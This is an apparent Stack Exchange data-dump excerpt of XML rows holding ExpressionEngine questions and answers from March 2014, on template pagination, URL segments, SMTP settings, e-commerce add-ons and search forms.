  <row Id="20722" PostTypeId="1" CreationDate="2014-03-27T12:59:06.637" Score="1" ViewCount="341" Body="&lt;p&gt;How we can integrate multiple pagination on the same page. anybody have idea ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have integrate, but only first pagination is worked. You can see my script below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;     {exp:channel:entries channel=&quot;institutions&quot; dynamic=&quot;no&quot; paginate=&quot;bottom&quot; paginate_base=&quot;/{freebie_1}/{freebie_2}/paginate&quot; limit=&quot;5&quot; disable=&quot;member_data&quot; category=&quot;169&quot;}&#xA;            &amp;lt;div class=&quot;organisation {switch='odd|even'} cf&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;content&quot;&amp;gt;&#xA;                    &amp;lt;h2&amp;gt;&amp;lt;a href=&quot;{page_uri}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;                    {if institution_website_address}&amp;lt;a class=&quot;website-link&quot; href=&quot;{institution_website_address}&quot; target=&quot;_blank&quot;&amp;gt;{institution_website_address}&amp;lt;/a&amp;gt;{/if}&#xA;                &amp;lt;/div&amp;gt;&#xA;                {paginate}&#xA;                  {pagination_links}&#xA;                      &amp;lt;div class=&quot;paging cf&quot;&amp;gt;&#xA;                        &amp;lt;span class=&quot;page-name&quot;&amp;gt;Page({current_page}):&amp;lt;/span&amp;gt;&#xA;                          {first_page}&#xA;                                  &amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;first&quot;&amp;gt;First&amp;lt;/a&amp;gt;&#xA;                          {/first_page}&#xA;&#xA;                          {previous_page}&#xA;                                  &amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;prev&quot;&amp;gt;Prev&amp;lt;/a&amp;gt;&#xA;                          {/previous_page}&#xA;                          &amp;lt;div class=&quot;pages&quot;&amp;gt;&#xA;                          {page}&#xA;                                  &amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-{pagination_page_number} {if current_page}current{/if}&quot;&amp;gt;{pagination_page_number}&amp;lt;/a&amp;gt;&#xA;                          {/page}&#xA;                          &amp;lt;/div&amp;gt;&#xA;                          {next_page}&#xA;                                  &amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;next&quot;&amp;gt;Next&amp;lt;/a&amp;gt;&#xA;                          {/next_page}&#xA;&#xA;                          {last_page}&#xA;                                  &amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;last&quot;&amp;gt;Last&amp;lt;/a&amp;gt;&#xA;                          {/last_page}&#xA;                      &amp;lt;/div&amp;gt;&#xA;                  {/pagination_links}&#xA;                {/paginate}&#xA;            &amp;lt;/div&amp;gt;&#xA;            {/exp:channel:entries}&#xA;&#xA;           {exp:channel:entries channel=&quot;institutions&quot; dynamic=&quot;no&quot; paginate=&quot;bottom&quot; paginate_base=&quot;/{freebie_1}/{freebie_2}/paginate&quot; limit=&quot;5&quot; disable=&quot;member_data&quot; category=&quot;177&quot;}&#xA;                &amp;lt;div class=&quot;organisation {switch='odd|even'} cf&quot;&amp;gt;&#xA;&#xA;                    &amp;lt;div class=&quot;content&quot;&amp;gt;&#xA;                        &amp;lt;h2&amp;gt;&amp;lt;a href=&quot;{page_uri}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;                        {if institution_website_address}&amp;lt;a class=&quot;website-link&quot; href=&quot;{institution_website_address}&quot; target=&quot;_blank&quot;&amp;gt;{institution_website_address}&amp;lt;/a&amp;gt;{/if}&#xA;                    &amp;lt;/div&amp;gt;&#xA;                    {paginate}&#xA;                      {pagination_links}&#xA;                          &amp;lt;div class=&quot;paging cf&quot;&amp;gt;&#xA;                            &amp;lt;span class=&quot;page-name&quot;&amp;gt;Page({current_page}):&amp;lt;/span&amp;gt;&#xA;                              {first_page}&#xA;                                      &amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;first&quot;&amp;gt;First&amp;lt;/a&amp;gt;&#xA;                              {/first_page}&#xA;&#xA;                              {previous_page}&#xA;                                      &amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;prev&quot;&amp;gt;Prev&amp;lt;/a&amp;gt;&#xA;                              {/previous_page}&#xA;                              &amp;lt;div class=&quot;pages&quot;&amp;gt;&#xA;                              {page}&#xA;                                      &amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-{pagination_page_number} {if current_page}current{/if}&quot;&amp;gt;{pagination_page_number}&amp;lt;/a&amp;gt;&#xA;                              {/page}&#xA;                              &amp;lt;/div&amp;gt;&#xA;                              {next_page}&#xA;                                      &amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;next&quot;&amp;gt;Next&amp;lt;/a&amp;gt;&#xA;                              {/next_page}&#xA;&#xA;                              {last_page}&#xA;                                      &amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;last&quot;&amp;gt;Last&amp;lt;/a&amp;gt;&#xA;                              {/last_page}&#xA;                          &amp;lt;/div&amp;gt;&#xA;                      {/pagination_links}&#xA;                    {/paginate}&#xA;                &amp;lt;/div&amp;gt;&#xA;                {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;FYI: EE:2.7.2 with structure&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="2664" LastActivityDate="2014-03-27T12:59:06.637" Title="Multiple Pagination on the same page" Tags="|pagination|page-uri|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20723" PostTypeId="1" AcceptedAnswerId="20908" CreationDate="2014-03-27T14:04:11.710" Score="1" ViewCount="41" Body="&lt;p&gt;I have a map and on this map are about 3 images. However the map displays different images on it every month. See code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;div class=&quot;col-sm-11 map&quot;&amp;gt;&#xA;                            {exp:channel:entries &#xA;                                       channel=&quot;mapped&quot; &#xA;                                       status=&quot;open|Draft&quot; &#xA;                                       entry_id=&quot;1354&quot;&#xA;                                       orderby=&quot;mapped_date&quot; &#xA;                                       sort=&quot;asc&quot;}&#xA;                                &amp;lt;div id=&quot;container&quot;&amp;gt;&#xA;                                    {exp:channel_images:images field_id=&quot;336&quot; entry_id=&quot;{entry_id}&quot; category=&quot;included&quot; limit=&quot;4&quot;}&#xA;                                    &amp;lt;img data-x=&quot;{image:field:1}&quot; data-y=&quot;{image:field:2}&quot; src=&quot;{image:url}&quot; /&amp;gt;&#xA;                                    {/exp:channel_images:images}&#xA;                                &amp;lt;/div&amp;gt;&#xA;                                    {/exp:channel:entries}&#xA;&#xA;                                &amp;lt;div class=&quot;map-canvas&quot;&amp;gt;&#xA;                                    &amp;lt;img src=&quot;/images/picture1&quot;/&amp;gt;&#xA;                                &amp;lt;/div&amp;gt;&#xA;                            &amp;lt;div class=&quot;xsmall-pad&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How do I specify that I want the images to only appear for a certain month - the title for that month is specified in the 3rd segment of the url. And how do I get the 3 images to overlap on top of the map?&lt;/p&gt;&#xA;" OwnerUserId="2865" LastActivityDate="2014-04-02T09:47:51.020" Title="If statement for url segement to display certain as well as overlapping images" Tags="|channel-images|mx-google-map|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20724" PostTypeId="2" ParentId="20563" CreationDate="2014-03-27T15:30:04.343" Score="2" Body="&lt;p&gt;You will need to upload the images separately from the checkout. I suggest using a channel entry form or as you mentioned, solspace freeform.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After you get your customer to upload an image, you need to remember which image they wanted printed on their tshirt (for example customer may have more than one image uploaded). The easiest way to do this is to get the ID (or URL) of the uploaded image and store it with an order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To store the image with an order, you can either use an order custom field (e.g. order_custom1), or you can use a product modifier (just use a text modifier, and a hidden field to set it). If you use the order custom field, you can only have one per order (so customer can not order two tshirts in the same order), but this might not be an issue if customers can only order one tshirt at a time anyway.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2014-03-27T15:30:04.343" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20725" PostTypeId="2" ParentId="20672" CreationDate="2014-03-27T15:39:00.997" Score="1" Body="&lt;p&gt;As GDmac mentioned, member email activation and custom member registration groups are mutually exclusive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a limitation of EE, not Freemember (since members are either placed in the &quot;Pending&quot; group, or directly into an active group).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need something more complicated, you would probably need to write an extension which runs after each user is activated, which places them into the appropriate group.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2014-03-27T15:39:00.997" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20726" PostTypeId="2" ParentId="20704" CreationDate="2014-03-27T15:41:03.803" Score="0" Body="&lt;p&gt;in your category list do:&#xA;value=&quot;{category_name}&amp;amp;&amp;amp;&quot;&#xA;SuperSearch will recognize this and strip the &quot;&amp;amp;&amp;amp;&quot; off the last category chosen&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-03-27T15:41:03.803" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20727" PostTypeId="2" ParentId="20278" CreationDate="2014-03-27T15:42:45.247" Score="1" Body="&lt;p&gt;Store doesn't support custom shipping rates for each item out of the box. It does support a &quot;handling&quot; charge for each product, but this is not specified on a per-country basis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need to implement different charges for each product, for each country, then you would need to write a custom shipping extension. You can use the &lt;code&gt;store_order_shipping_methods&lt;/code&gt; hook:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://exp-resso.com/docs/extension_hooks.html#shipping_hooks&quot; rel=&quot;nofollow&quot;&gt;https://exp-resso.com/docs/extension_hooks.html#shipping_hooks&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2014-03-27T15:42:45.247" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20728" PostTypeId="2" ParentId="20265" CreationDate="2014-03-27T15:44:44.047" Score="1" Body="&lt;p&gt;There's no way to prefix the tags - form errors will be displayed anywhere on the page a Freemember login form appears.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In general the accepted design is not to show error messages in the header since there isn't much space anyway - simply redirect to a &lt;code&gt;/login&lt;/code&gt; page which has the full error messages displayed inline.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to display errors in the header, then you will just need to live with them being displayed in multiple places.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2014-03-27T15:44:44.047" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="20729" PostTypeId="2" ParentId="20303" CreationDate="2014-03-27T15:47:25.147" Score="1" Body="&lt;p&gt;Store supports &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_form/index.html&quot; rel=&quot;nofollow&quot;&gt;Channel Form&lt;/a&gt; (previously called SafeCracker).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can display the Store product details field in the Channel Form field the same way you do other custom fields, and your users will be able to create products on the front end.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2014-03-27T15:47:25.147" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20730" PostTypeId="2" ParentId="20711" CreationDate="2014-03-27T15:52:20.407" Score="2" Body="&lt;p&gt;Answer 1: Backup - files and database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Seriously, get that site under source control. If anything goes wrong it's easier to roll back.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd just go straight to 2.8 -- I did one the other day going from 2.1.3 to 2.8 - if you run into issues then go for 2.7.x&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It shouldn't break them if you're using recommended ways of embeds and related entries.&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2014-03-27T15:52:20.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20731" PostTypeId="2" ParentId="20723" CreationDate="2014-03-27T16:15:06.220" Score="0" Body="&lt;p&gt;You can access the values of URL segments with &lt;code&gt;{segment_1}&lt;/code&gt;, &lt;code&gt;{segment_2}&lt;/code&gt;, and so on.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{segment_3}&quot; == &quot;january&quot;}&#xA;     &amp;lt;h1&amp;gt;It's January!&amp;lt;/h1&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;segment_N&lt;/code&gt; syntax is available natively in EE; when you're ready to do more advanced things with URL segments, take a look at &lt;a href=&quot;http://devot-ee.com/add-ons/url-helper&quot; rel=&quot;nofollow&quot;&gt;URL Helper&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2014-03-27T16:15:06.220" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20732" PostTypeId="1" CreationDate="2014-03-27T16:22:38.603" Score="1" ViewCount="86" Body="&lt;p&gt;One of my fields is a channel in a select dropdown. Can I add option groups in &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Jumpstart &gt; CP &gt; Home &gt; Administration &gt; Channel Fields &gt;Edit Field ?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select&amp;gt;&#xA;  &amp;lt;optgroup label=&quot;Swedish Cars&quot;&amp;gt;&#xA;    &amp;lt;option value=&quot;volvo&quot;&amp;gt;Volvo&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;saab&quot;&amp;gt;Saab&amp;lt;/option&amp;gt;&#xA;  &amp;lt;/optgroup&amp;gt;&#xA;  &amp;lt;optgroup label=&quot;German Cars&quot;&amp;gt;&#xA;    &amp;lt;option value=&quot;mercedes&quot;&amp;gt;Mercedes&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;audi&quot;&amp;gt;Audi&amp;lt;/option&amp;gt;&#xA;  &amp;lt;/optgroup&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2616" LastActivityDate="2014-03-28T08:34:44.553" Title="option Groups in select boxes" Tags="|groups|options|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20733" PostTypeId="2" ParentId="20686" CreationDate="2014-03-27T16:37:14.837" Score="7" Body="&lt;p&gt;Ok so after 5 hours of banging my head on the table and only getting a nasty bump on my forehead I have a fix that was a 1 second fix.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically I had to comment out like this //$config['cookie_prefix'] = ''; in config.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This all started to happen after I moved from a Plesk environment to a Cpanel setup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Originally I found the follow code from &lt;a href=&quot;https://expressionengine.stackexchange.com/a/383/293&quot;&gt;another answer&lt;/a&gt; dealing with not being able to login and it worked so I went through and commented out 1 item at a time.  Leaving me with the answer and fix, here is that code.  I hope it helps save someone else time and aggravation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$config['cookie_domain'] = &quot;&quot;;&#xA;$config['cookie_path'] = &quot;&quot;;&#xA;$config['cookie_prefix'] = &quot;&quot;;&#xA;$config['admin_session_type'] = &quot;s&quot;;&#xA;$config['user_session_type'] = &quot;c&quot;;&#xA;$config['require_ip_for_login'] = &quot;n&quot;;&#xA;$config['require_ip_for_posting'] = &quot;n&quot;; &#xA;$config['secure_forms'] = &quot;n&quot;;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="2795" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2014-03-27T16:37:14.837" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="20734" PostTypeId="1" CreationDate="2014-03-27T16:41:21.813" Score="1" ViewCount="102" Body="&lt;p&gt;&lt;b&gt;Paypal &lt;/b&gt; won't help as they say it's a &lt;b&gt;Store &lt;/b&gt;issue, but I'm struggling to get Store to send the shipping address details to Paypal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The billing address is coming through fine, but the shipping address isn't. This is necessary for my client to retain their Paypal seller protection. If the address is not passed through seller protection is lost.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is also obviously annoying as they have to fill in details manually to print postage labels etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;version is 2.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help much appreciated.&lt;/p&gt;&#xA;" OwnerUserId="2901" LastEditorUserId="2901" LastEditDate="2014-03-27T16:52:05.407" LastActivityDate="2014-03-27T16:52:05.407" Title="Store won't pass shipping address to Paypal Express" Tags="|expresso-store|paypal|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="20736" PostTypeId="1" AcceptedAnswerId="20739" CreationDate="2014-03-27T18:47:08.737" Score="1" ViewCount="92" Body="&lt;p&gt;Alright -- more SMTP issues. I've looked at some other posts and solutions but so far nothing is working for me. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The login itself has been tested on a separate email client, so we know it works. Here are our config values:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['mail_protocol'] = 'smtp';&#xA;// $config['smtp_server'] = 'ssl://mail.xxxxxxx.net'; &amp;lt;- tried both with and w/o ssl://&#xA;$config['smtp_server'] = 'mail.xxxxxxx.net';&#xA;$config['smtp_port'] = 995;&#xA;$config['email_smtp_port'] = 995;&#xA;$config['smtp_username'] = 'xxxx';&#xA;$config['smtp_password'] = 'xxxxxxxxxxxx';&#xA;$config['smtp_crypto'] = 'tls';&#xA;$config['email_newline'] = &quot;\r\n&quot;;&#xA;$config['email_crlf'] = &quot;\r\n&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The error message is quite long, but here's a screenshot: &lt;a href=&quot;http://downloads.creat-ee.com/zisc/ig_email_error.png&quot; rel=&quot;nofollow&quot;&gt;http://downloads.creat-ee.com/zisc/ig_email_error.png&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is the issue on the server side? When using PHP protocol, EE says email has been sent but not received either. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks everyone!&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2014-03-27T19:04:42.690" Title="More SMTP issues" Tags="|email|smtp|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20737" PostTypeId="1" AcceptedAnswerId="20738" CreationDate="2014-03-27T18:57:36.350" Score="1" ViewCount="46" Body="&lt;p&gt;The twitterfy function in CE String is creating bad links for hashtags (they go to an old URL for an API that's no longer supported). Is there a quick fix?&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2014-04-26T18:59:28.310" Title="CE String: Twitterfy Function Creates Bad Hashtag Links" Tags="|twitter|ce-string|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20738" PostTypeId="2" ParentId="20737" CreationDate="2014-03-27T18:57:36.350" Score="1" Body="&lt;p&gt;To fix, update system/third_party/ce_str/pi.ce_str.php (around line 1457):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$string = preg_replace(&quot;/#(\w+)/&quot;, &quot;&amp;lt;a href=\&quot;http://search.twitter.com/search?q=\\1\&quot; target=\&quot;_blank\&quot;&amp;gt;#\\1&amp;lt;/a&amp;gt;&quot;, $string);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;... to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$string = preg_replace(&quot;/#(\w+)/&quot;, &quot;&amp;lt;a href=\&quot;https://twitter.com/search?q=%23\\1\&quot; target=\&quot;_blank\&quot;&amp;gt;#\\1&amp;lt;/a&amp;gt;&quot;, $string);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="33" LastActivityDate="2014-03-27T18:57:36.350" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20739" PostTypeId="2" ParentId="20736" CreationDate="2014-03-27T19:04:42.690" Score="1" Body="&lt;p&gt;The PHP error you posted indicates that mail.[the domain you apparently want redacted].net isn't reachable; your mail settings need to be double-checked - I can't ping that domain either. It's possible that there's a firewall blocking your IP, or that you simply have incorrect settings.&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2014-03-27T19:04:42.690" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20740" PostTypeId="1" CreationDate="2014-03-27T19:07:14.240" Score="2" ViewCount="161" Body="&lt;p&gt;I'm using Assets to provide a form for members to post an icon.  I'm using the &quot;{field:assets_field_name}&quot; method to provide the file upload ability.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I love it and it works great, however I want users to only see files that they have uploaded and not the whole S3 bucket contents (everyone elses icon uploads as well as theirs). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="2572" LastActivityDate="2014-03-27T19:24:54.477" Title="Assets (pixel &amp; tonic) channel form - show images only by author" Tags="|assets|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="20741" PostTypeId="2" ParentId="20732" CreationDate="2014-03-27T19:21:03.707" Score="1" Body="&lt;p&gt;Not with the native select drop down, no. But, you can do it with the select field from &lt;a href=&quot;http://devot-ee.com/add-ons/field-pack&quot; rel=&quot;nofollow&quot;&gt;Pixel &amp;amp; Tonic's Field Pack&lt;/a&gt; add-on. &lt;a href=&quot;http://docs.pixelandtonic.com/fieldpack/fieldtypes/dropdown/config.html&quot; rel=&quot;nofollow&quot;&gt;See the docs for details&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2014-03-27T19:21:03.707" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20742" PostTypeId="1" CreationDate="2014-03-27T19:24:28.490" Score="0" ViewCount="30" Body="&lt;p&gt;I'm looking for a way to display entries from a channel as a message on the homepage that are able to be hidden once the visitor has read it.  Anyone know of a simple way to  achieve this or an add-on that would help? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="2614" LastActivityDate="2014-03-27T19:35:39.570" Title="Frontend public message with close or hide button" Tags="|ee2|conditionals|messages|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20743" PostTypeId="2" ParentId="20740" CreationDate="2014-03-27T19:24:54.477" Score="1" Body="&lt;p&gt;I don't believe Assets has support for this (they didn't when I checked recently). It should be doable with &lt;a href=&quot;http://www.devdemon.com/channel_images&quot; rel=&quot;nofollow&quot;&gt;Channel Images&lt;/a&gt;, and, very possibly, &lt;a href=&quot;https://objectivehtml.com/photo-frame&quot; rel=&quot;nofollow&quot;&gt;Photo Frame&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2014-03-27T19:24:54.477" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20744" PostTypeId="2" ParentId="20742" CreationDate="2014-03-27T19:35:39.570" Score="1" Body="&lt;p&gt;This really is a questions about HTML/CSS/JavaScript.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the EE side, in the past I've used a global variable to allow the admins to set a message to be displayed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then in the template you just have a conditional surrounding the appropriate markup.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if gv_important_message != &quot;&quot;}&#xA;&amp;lt;div class=&quot;message&quot;&amp;gt;&#xA;    &amp;lt;p&amp;gt;{gv_important_message}&amp;lt;/p&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Obviously the markup would be dependent on the design of the site and your CSS, but this is the general idea.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2014-03-27T19:35:39.570" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20745" PostTypeId="1" CreationDate="2014-03-27T19:56:43.963" Score="1" ViewCount="711" Body="&lt;p&gt;EE 2.7.3 and Simple Search form which looks like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:search:simple_form channel=&quot;products&quot; search_in=&quot;everywhere&quot; result_page=&quot;home/search&quot;}&#xA;          &amp;lt;label for=&quot;keywords&quot;&amp;gt;Search&amp;lt;/label&amp;gt;&#xA;          &amp;lt;input type=&quot;text&quot; name=&quot;keywords&quot; id=&quot;keywords&quot; placeholder=&quot;Search&quot; /&amp;gt;&#xA;          &amp;lt;button type=&quot;submit&quot; name=&quot;submit&quot;&amp;gt;&amp;lt;i class=&quot;icon-chevron-right&quot;&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;/button&amp;gt;&#xA;{/exp:search:simple_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and result template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;row default&quot;&amp;gt;&#xA;Search results:&#xA;{exp:search:search_results}&#xA;{title}&#xA;{/exp:search:search_results}&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;for testing I have type in part of the title from one, existing entry in the Products channel. Unfortunately it gives me &lt;code&gt;Your search did not return any results&lt;/code&gt; or returns one search result which is not related to search keyword.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any clue what is going on?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks &lt;/p&gt;&#xA;" OwnerUserId="1577" LastActivityDate="2014-04-27T20:09:14.310" Title="Simple Search form and no results for existing entries" Tags="|search|simple-search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20746" PostTypeId="1" AcceptedAnswerId="20747" CreationDate="2014-03-27T20:24:28.157" Score="1" ViewCount="181" Body="&lt;p&gt;I have a big scroller in the middle of my front page that shows the latest 3 news entries whose &quot;Front Page Feature&quot; field is set to &quot;Yes&quot;. Somewhere else, smaller, I display the next upcoming event whose &quot;Front Page Feature&quot; is set to &quot;Yes&quot;. I'd like to combine the 3 newest added news -and- events into that big scroller.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code to populate the scroller is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;news&quot; search:front_page_feature=&quot;Yes&quot; dynamic=&quot;no&quot; limit=&quot;3&quot; orderby=&quot;date&quot; sort=&quot;desc&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I wish I could set channel=&quot;news|events&quot;, but they use different fieldsets. So I wish I could do channel=&quot;news|events&quot; and&lt;/p&gt;&#xA;&#xA;&lt;p&gt;search:front_page_feature=&quot;Yes&quot;&#xA;search:events_front_page_feature=&quot;Yes&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But &quot;AND&quot; is only allowed with multiple search terms, no OR. I don't know if there will be an easy way to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="1327" LastActivityDate="2014-03-27T21:52:21.130" Title="Trying to combine entries from &quot;news&quot; and &quot;events&quot; channels" Tags="|channel-entries|search|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20747" PostTypeId="2" ParentId="20746" CreationDate="2014-03-27T21:52:21.130" Score="2" Body="&lt;p&gt;As mentioned in the comments, setting the front page status using a &lt;code&gt;status&lt;/code&gt; or &lt;code&gt;category&lt;/code&gt; would be a good way to accomplish this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{exp:channel:entries channel=&quot;news|events&quot; status=&quot;featured_on_homepage&quot; dynamic=&quot;no&quot; limit=&quot;3&quot; orderby=&quot;date&quot; sort=&quot;desc&quot;}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{exp:channel:entries channel=&quot;news|events&quot; category=&quot;(id number of category for front page entries could go here)&quot; dynamic=&quot;no&quot; limit=&quot;3&quot; orderby=&quot;date&quot; sort=&quot;desc&quot;}&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2014-03-27T21:52:21.130" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
